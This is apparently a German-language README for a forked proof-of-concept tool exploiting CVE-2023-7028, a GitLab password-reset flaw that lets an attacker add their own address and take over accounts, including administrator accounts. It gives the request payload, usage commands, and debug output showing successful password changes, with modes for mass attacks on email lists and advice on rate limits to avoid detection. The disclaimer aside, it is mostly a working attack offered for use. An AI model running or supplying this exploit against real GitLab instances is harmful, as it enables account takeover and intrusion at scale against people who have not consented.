CVE-2023-7028 | Account-Übernahme Gitlab

Haftungsausschluss

Dieser Code ist ein Proof of Concept der Schwachstelle. Ich dränge niemanden dazu, ihn auf GitLab-Instanzen einzusetzen, die man nicht besitzt. Dieses Tool wurde ausschließlich für Forschungs- und Bildungszwecke entwickelt, und ich übernehme keine Haftung für jegliche Verwendung, die du davon machst.

Beschreibung

DIES IST EIN FORK DES REPOS https://github.com/Vozec/CVE-2023-7028. Ich verbessere lediglich die Nutzung des Exploits.

CVE-2023-7028 bezeichnet eine Account-Übernahme-Schwachstelle, die es Benutzern ermöglicht, ohne Benutzerinteraktion die Kontrolle über das GitLab-Administratorkonto zu übernehmen.

Die Schwachstelle liegt in der Verwaltung von E-Mails beim Zurücksetzen von Passwörtern. Ein Angreifer kann zwei E-Mail-Adressen angeben, und der Reset-Code wird an beide gesendet. Daher ist es möglich, sowohl die E-Mail-Adresse des Zielkontos als auch die des Angreifers anzugeben und das Administrator-Passwort zurückzusetzen. (GitLab weist darauf hin, dass die Zwei-Faktor-Authentifizierung eine Ausnutzung dieser Schwachstelle verhindert, da ein Angreifer selbst nach dem Zurücksetzen des Passworts nicht in der Lage sein wird, sich anzumelden.)

Diese Schwachstelle wurde von asterion04 entdeckt.

Payload

Hier ist ein Beispiel-Payload:

user[email][][email protected]&user[email][][email protected]

POC

Methode 1: Verwendung einer temporären E-Mail (einzelnes Ziel)

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

Methode 2: Verwendung einer Evil-E-Mail (einzelnes Ziel)

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Methode 3: Verwenden einer E-Mail-Liste aus einer Datei

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset

Methode 4: Skip-Modus - nur Zurücksetzungsanfragen senden (schneller)

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful

Hilfe

$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)

Verwendungshinweise

Einzelnes Ziel: Verwende den Parameter -t, um eine einzelne E-Mail-Adresse anzugreifen.
Mehrere Ziele: Verwende den Parameter -l, um E-Mail-Adressen aus einer Datei zu laden (eine pro Zeile).
Evil-E-Mail: Ohne die Option --evil verwendet das Skript eine öffentliche Temp-Mail, um den Reset-Link zu finden (sei bei Pentests vorsichtig).
Skip-Modus: Verwende --skip, um nur Zurücksetzungsanfragen zu senden, ohne auf das Zurücksetzen des Passworts zu warten (schneller bei Massenangriffen).
Ratenbegrenzung: Verwende -rps, um die Anfragen pro Sekunde zu steuern (Standard: 10). Höhere Werte = schneller, aber leichter erkennbar.
Format der E-Mail-Liste: Reine Textdatei mit einer E-Mail pro Zeile.

Beispiele

# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123

# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5

# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50

Betroffene Versionen

16.1 bis 16.1.5
16.2 bis 16.2.8
16.3 bis 16.3.6
16.4 bis 16.4.4
16.5 bis 16.5.5
16.6 bis 16.6.3
16.7 bis 16.7.1

CVE-2023-7028

Beliebteste